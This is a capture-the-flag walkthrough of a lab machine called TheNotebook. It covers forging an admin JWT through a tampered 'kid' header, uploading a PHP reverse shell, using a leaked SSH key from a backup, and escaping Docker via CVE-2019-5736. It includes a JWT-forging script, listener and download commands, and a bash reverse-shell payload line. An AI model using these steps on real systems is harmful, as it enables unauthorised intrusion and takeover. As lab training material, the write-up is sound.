TheNotebook (Medium)


There is a notebook web app hosted on port 80. It allows us to register and log in as user. The web app assigns us a JWT for authorization, and we are able to forge a new JWT with valid digital signature to escalate privilege to admin.
In the admin panel, we can upload notes and view notes. Here we upload a PHP reverse shell payload and get a shell as www-data.
In the backup files, we find a SSH private key which allows us to SSH in as Noah. Here we get the user shell.
In the privilege escalation phase, we get a root shell easily but it is inside a Docker container. In order to escape the Docker container, we use CVE-2019-5736.


  • RHOST:
  • LHOST:


Investigate port 80.

Admin Panel: JWT Forgery

Port 80 hosts a notebook Web app which allows us to register and log in. Register a user hacker:hacker and investigate the cookie. The cookie is:
Try decode it on
It turns out that the token is a JWT in RS256 mode. Since the server verifies the public key by looking at the "kid" field in the JWT header without any authentication, what we can do here is generating a RSA public/private key pair in order to forge a new JWT with admin_cap=1 with a valid digital signature. Here is a bash script for generating such RSA key pair for RS256:
# RSA256
ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key
# Don't add passphrase
openssl rsa -in privKey.key -pubout -outform PEM -out
Forging a new JWT with admin_cap=1 together with the key pair we just generated:
#!/usr/bin/env python3
import jwt
# The library used is pyjwt
# Install: sudo pip3 install pyjwt
with open("privKey.key", "r") as f:
key =
headers = {"typ": "JWT", "alg": "RS256", "kid": ""}
payload = {"username": "hacker", "email": "[email protected]", "admin_cap": 1}
print(jwt.encode(payload, headers=headers, key=key, algorithm="RS256").decode())
Remember that in digital signature scheme, we use private key for signing and public key for verifying. The forged JWT is:
Host the private key on port 7070 using updog:
updog -p 7070
Modify the auth cookie and refresh, and we have access to the admin panel:
Admin panel access

www-data Shell: PHP Reverse Shell

In the admin panel, we are able to upload note and then view note. This is a typical file upload vulnerability scenario where we can upload a PHP reverse shell payload. A go-to choice for PHP reverse shell payload is /usr/share/webshells/php/php-reverse-shell.php.
Start a pwncat listener at port 443:
sudo pwncat :443
Upload the PHP reverse shell payload and trigger it. Now we get a shell as www-data:
www-data shell

User Shell: SSH Key in Backup File

In one of the notes in the admin panel, there is a hint saying "backups are scheduled":
In /var/backups, there is a backup file named home.tar.gz. Download it to our attack machine. In turns out that this backup file contains the backup of the home directory. There is a user noah and we got the SSH private key. SSH in:
ssh -i id_rsa [email protected]
Now we get a user shell as Noah:
User shell

Privilege Escalation: CVE-2019-5736 Docker Escape

sudo -l:
sudo -l
We are able to execute /usr/bin/docker exec -it webapp-dev01* as root. Spawn a (limited) root shell:
sudo /usr/bin/docker exec -it webapp-dev01 bash
Although we get a "root" shell, we are actually inside a Docker container. We still have to escape this container in order to read /root/root.txt. Here we are going to use CVE-2019-5736 to escape the Docker contain. HackTricks has a writeup on this CVE:
Docker Basics & Breakout
Docker Breakout - HackTricks
Modify the "payload" part of the script:
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/ 0>&1"
Compile the Go source code and transfer it to the victim machine:
# Attack machine (HTTP server)
$ go build main.go
$ updog -p 1337
# Attack machine (Listener)
$ sudo nc -nvlp 443
# Victim machine (the root shell in the Docker container)
$ wget
$ chmod +x main
$ ./main
In another SSH session, trigger the exploit by executing modified /bin/sh binary. You have to do this step fast:
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
Caution: This step is tricky. When you see "[+] Overwritten /bin/sh successfully", you should execute the command sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh immediately. Otherwise it will be too late and you won't get the reverse shell.
Now we get a root shell:
root shell